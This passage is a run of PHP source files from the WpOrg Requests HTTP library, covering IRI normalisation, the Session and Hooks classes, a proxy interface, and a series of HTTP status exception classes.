		if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
			if (Ipv6::check_ipv6(substr($ihost, 1, -1))) {
				$this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']';
			}
			else {
				$this->ihost = null;
				return false;
			}
		}
		else {
			$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');

			// Lowercase, but ignore pct-encoded sections (as they should
			// remain uppercase). This must be done after the previous step
			// as that can add unescaped characters.
			$position = 0;
			$strlen = strlen($ihost);
			while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
				if ($ihost[$position] === '%') {
					$position += 3;
				}
				else {
					$ihost[$position] = strtolower($ihost[$position]);
					$position++;
				}
			}

			$this->ihost = $ihost;
		}

		$this->scheme_normalization();

		return true;
	}

	/**
	 * Set the port. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $port
	 * @return bool
	 */
	protected function set_port($port) {
		if ($port === null) {
			$this->port = null;
			return true;
		}

		if (strspn($port, '0123456789') === strlen($port)) {
			$this->port = (int) $port;
			$this->scheme_normalization();
			return true;
		}

		$this->port = null;
		return false;
	}

	/**
	 * Set the ipath.
	 *
	 * @param string $ipath
	 * @return bool
	 */
	protected function set_path($ipath) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		$ipath = (string) $ipath;

		if (isset($cache[$ipath])) {
			$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
		}
		else {
			$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
			$removed = $this->remove_dot_segments($valid);

			$cache[$ipath] = array($valid, $removed);
			$this->ipath = ($this->scheme !== null) ? $removed : $valid;
		}
		$this->scheme_normalization();
		return true;
	}

	/**
	 * Set the iquery.
	 *
	 * @param string $iquery
	 * @return bool
	 */
	protected function set_query($iquery) {
		if ($iquery === null) {
			$this->iquery = null;
		}
		else {
			$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Set the ifragment.
	 *
	 * @param string $ifragment
	 * @return bool
	 */
	protected function set_fragment($ifragment) {
		if ($ifragment === null) {
			$this->ifragment = null;
		}
		else {
			$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
			$this->scheme_normalization();
		}
		return true;
	}

	/**
	 * Convert an IRI to a URI (or parts thereof)
	 *
	 * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()})
	 * @return string|false URI if IRI is valid, false otherwise.
	 */
	protected function to_uri($iri) {
		if (!is_string($iri)) {
			return false;
		}

		static $non_ascii;
		if (!$non_ascii) {
			$non_ascii = implode('', range("\x80", "\xFF"));
		}

		$position = 0;
		$strlen = strlen($iri);
		while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) {
			$iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1);
			$position += 3;
			$strlen += 2;
		}

		return $iri;
	}

	/**
	 * Get the complete IRI
	 *
	 * @return string|false
	 */
	protected function get_iri() {
		if (!$this->is_valid()) {
			return false;
		}

		$iri = '';
		if ($this->scheme !== null) {
			$iri .= $this->scheme . ':';
		}
		if (($iauthority = $this->get_iauthority()) !== null) {
			$iri .= '//' . $iauthority;
		}
		$iri .= $this->ipath;
		if ($this->iquery !== null) {
			$iri .= '?' . $this->iquery;
		}
		if ($this->ifragment !== null) {
			$iri .= '#' . $this->ifragment;
		}

		return $iri;
	}

	/**
	 * Get the complete URI
	 *
	 * @return string
	 */
	protected function get_uri() {
		return $this->to_uri($this->get_iri());
	}

	/**
	 * Get the complete iauthority
	 *
	 * @return string|null
	 */
	protected function get_iauthority() {
		if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) {
			return null;
		}

		$iauthority = '';
		if ($this->iuserinfo !== null) {
			$iauthority .= $this->iuserinfo . '@';
		}
		if ($this->ihost !== null) {
			$iauthority .= $this->ihost;
		}
		if ($this->port !== null) {
			$iauthority .= ':' . $this->port;
		}
		return $iauthority;
	}

	/**
	 * Get the complete authority
	 *
	 * @return string
	 */
	protected function get_authority() {
		$iauthority = $this->get_iauthority();
		if (is_string($iauthority)) {
			return $this->to_uri($iauthority);
		}
		else {
			return $iauthority;
		}
	}
}
<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests\SessionHandler
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests\SessionHandler
 */
class Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 *
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 *
	 * @var array
	 */
	public $headers = [];

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = [];

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = [];

	/**
	 * Create a new session
	 *
	 * @param string|Stringable|null $url Base URL for requests
	 * @param array $headers Default headers for requests
	 * @param array $data Default data for requests
	 * @param array $options Default options for requests
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function __construct($url = null, $headers = [], $data = [], $options = []) {
		if ($url !== null && InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (is_array($data) === false) {
			throw InvalidArgument::create(3, '$data', 'array', gettype($data));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->url     = $url;
		$this->headers = $headers;
		$this->data    = $data;
		$this->options = $options;

		if (empty($this->options['cookies'])) {
			$this->options['cookies'] = new Jar();
		}
	}

	/**
	 * Get a property's value
	 *
	 * @param string $name Property name.
	 * @return mixed|null Property value, null if none found
	 */
	public function __get($name) {
		if (isset($this->options[$name])) {
			return $this->options[$name];
		}

		return null;
	}

	/**
	 * Set a property's value
	 *
	 * @param string $name Property name.
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		$this->options[$name] = $value;
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __isset($name) {
		return isset($this->options[$name]);
	}

	/**
	 * Remove a property's value
	 *
	 * @param string $name Property name.
	 */
	public function __unset($name) {
		unset($this->options[$name]);
	}

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public function get($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public function head($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public function delete($url, $headers = [], $options = []) {
		return $this->request($url, $headers, null, Requests::DELETE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Session::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public function post($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::POST, $options);
	}

	/**
	 * Send a PUT request
	 */
	public function put($url, $headers = [], $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PUT, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public function patch($url, $headers, $data = [], $options = []) {
		return $this->request($url, $headers, $data, Requests::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * @see \WpOrg\Requests\Requests::request()
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants)
	 * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()})
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) {
		$request = $this->merge_request(compact('url', 'headers', 'data', 'options'));

		return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * @see \WpOrg\Requests\Requests::request_multiple()
	 *
	 * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()})
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		foreach ($requests as $key => $request) {
			$requests[$key] = $this->merge_request($request, false);
		}

		$options = array_merge($this->options, $options);

		// Disallow forcing the type, as that's a per request setting
		unset($options['type']);

		return Requests::request_multiple($requests, $options);
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}

	/**
	 * Merge a request's data with the default data
	 *
	 * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()})
	 * @param boolean $merge_options Should we merge options as well?
	 * @return array Request data
	 */
	protected function merge_request($request, $merge_options = true) {
		if ($this->url !== null) {
			$request['url'] = Iri::absolutize($this->url, $request['url']);
			$request['url'] = $request['url']->uri;
		}

		if (empty($request['headers'])) {
			$request['headers'] = [];
		}

		$request['headers'] = array_merge($this->headers, $request['headers']);

		if (empty($request['data'])) {
			if (is_array($this->data)) {
				$request['data'] = $this->data;
			}
		} elseif (is_array($request['data']) && is_array($this->data)) {
			$request['data'] = array_merge($this->data, $request['data']);
		}

		if ($merge_options === true) {
			$request['options'] = array_merge($this->options, $request['options']);

			// Disallow forcing the type, as that's a per request setting
			unset($request['options']['type']);
		}

		return $request;
	}
}
<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
<?php
/**
 * Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Proxy connection interface
 *
 * Implement this interface to handle proxy settings and authentication
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Proxy
 * @since   1.6
 */
interface Proxy {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
<?php
/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Transport Exception
 *
 * @package Requests\Exceptions
 */
class Transport extends Exception {}
<?php
/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http\StatusUnknown;

/**
 * Exception based on HTTP response
 *
 * @package Requests\Exceptions
 */
class Http extends Exception {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * There is no mechanism to pass in the status code, as this is set by the
	 * subclass used. Reason phrases can vary, however.
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($reason !== null) {
			$this->reason = $reason;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, 'httpresponse', $data, $this->code);
	}

	/**
	 * Get the status message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

	/**
	 * Get the correct exception class for a given error code
	 *
	 * @param int|bool $code HTTP status code, or false if unavailable
	 * @return string Exception class name to use
	 */
	public static function get_class($code) {
		if (!$code) {
			return StatusUnknown::class;
		}

		$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
		if (class_exists($class)) {
			return $class;
		}

		return StatusUnknown::class;
	}
}
<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
	 * Create a new argument count exception with a standardized text.
	 *
	 * @param string $expected The argument count expected as a phrase.
	 *                         For example: `at least 2 arguments` or `exactly 1 argument`.
	 * @param int    $received The actual argument count received.
	 * @param string $type     Exception type.
	 *
	 * @return \WpOrg\Requests\Exception\ArgumentCount
	 */
	public static function create($expected, $received, $type) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s() expects %s, %d given',
				$stack[1]['class'],
				$stack[1]['function'],
				$expected,
				$received
			),
			$type
		);
	}
}
<?php
/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response;

/**
 * Exception for unknown status responses
 *
 * @package Requests\Exceptions
 */
final class StatusUnknown extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer|bool Code if available, false if an error occurred
	 */
	protected $code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception
	 *
	 * If `$data` is an instance of {@see \WpOrg\Requests\Response}, uses the status
	 * code from it. Otherwise, sets as 0
	 *
	 * @param string|null $reason Reason phrase
	 * @param mixed $data Associated data
	 */
	public function __construct($reason = null, $data = null) {
		if ($data instanceof Response) {
			$this->code = (int) $data->status_code;
		}

		parent::__construct($reason, $data);
	}
}
<?php
/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 502 Bad Gateway responses
 *
 * @package Requests\Exceptions
 */
final class Status502 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 502;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Gateway';
}
<?php
/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 504 Gateway Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status504 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 504;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gateway Timeout';
}
<?php
/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 418 I'm A Teapot responses
 *
 * @link https://tools.ietf.org/html/rfc2324
 *
 * @package Requests\Exceptions
 */
final class Status418 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 418;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = "I'm A Teapot";
}
<?php
/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 503 Service Unavailable responses
 *
 * @package Requests\Exceptions
 */
final class Status503 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 503;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Service Unavailable';
}
<?php
/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 408 Request Timeout responses
 *
 * @package Requests\Exceptions
 */
final class Status408 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 408;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Timeout';
}
<?php
/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 403 Forbidden responses
 *
 * @package Requests\Exceptions
 */
final class Status403 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 403;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Forbidden';
}
<?php
/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 416 Requested Range Not Satisfiable responses
 *
 * @package Requests\Exceptions
 */
final class Status416 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 416;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Requested Range Not Satisfiable';
}
<?php
/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 406 Not Acceptable responses
 *
 * @package Requests\Exceptions
 */
final class Status406 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 406;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Acceptable';
}
<?php
/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 501 Not Implemented responses
 *
 * @package Requests\Exceptions
 */
final class Status501 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 501;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Implemented';
}
<?php
/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 304 Not Modified responses
 *
 * @package Requests\Exceptions
 */
final class Status304 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 304;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Modified';
}
<?php
/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 412 Precondition Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status412 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 412;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Failed';
}
<?php
/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 429 Too Many Requests responses
 *
 * @link https://tools.ietf.org/html/draft-nottingham-http-new-status-04
 *
 * @package Requests\Exceptions
 */
final class Status429 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 429;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Too Many Requests';
}
<?php
/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 405 Method Not Allowed responses
 *
 * @package Requests\Exceptions
 */
final class Status405 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 405;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Method Not Allowed';
}
<?php
/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 407 Proxy Authentication Required responses
 *
 * @package Requests\Exceptions
 */
final class Status407 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 407;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Proxy Authentication Required';
}
<?php
/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 414 Request-URI Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status414 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 414;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request-URI Too Large';
}
<?php
/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 404 Not Found responses
 *
 * @package Requests\Exceptions
 */
final class Status404 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 404;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Not Found';
}
<?php
/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 409 Conflict responses
 *
 * @package Requests\Exceptions
 */
final class Status409 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 409;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Conflict';
}
<?php
/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 411 Length Required responses
 *
 * @package Requests\Exceptions
 */
final class Status411 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 411;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Length Required';
}
<?php
/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 413 Request Entity Too Large responses
 *
 * @package Requests\Exceptions
 */
final class Status413 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 413;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Entity Too Large';
}
<?php
/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 511 Network Authentication Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status511 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 511;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Network Authentication Required';
}
<?php
/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 402 Payment Required responses
 *
 * @package Requests\Exceptions
 */
final class Status402 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 402;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Payment Required';
}
<?php
/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 400 Bad Request responses
 *
 * @package Requests\Exceptions
 */
final class Status400 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 400;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Bad Request';
}
<?php
/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 417 Expectation Failed responses
 *
 * @package Requests\Exceptions
 */
final class Status417 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 417;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Expectation Failed';
}
<?php
/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 306 Switch Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status306 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 306;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Switch Proxy';
}
<?php
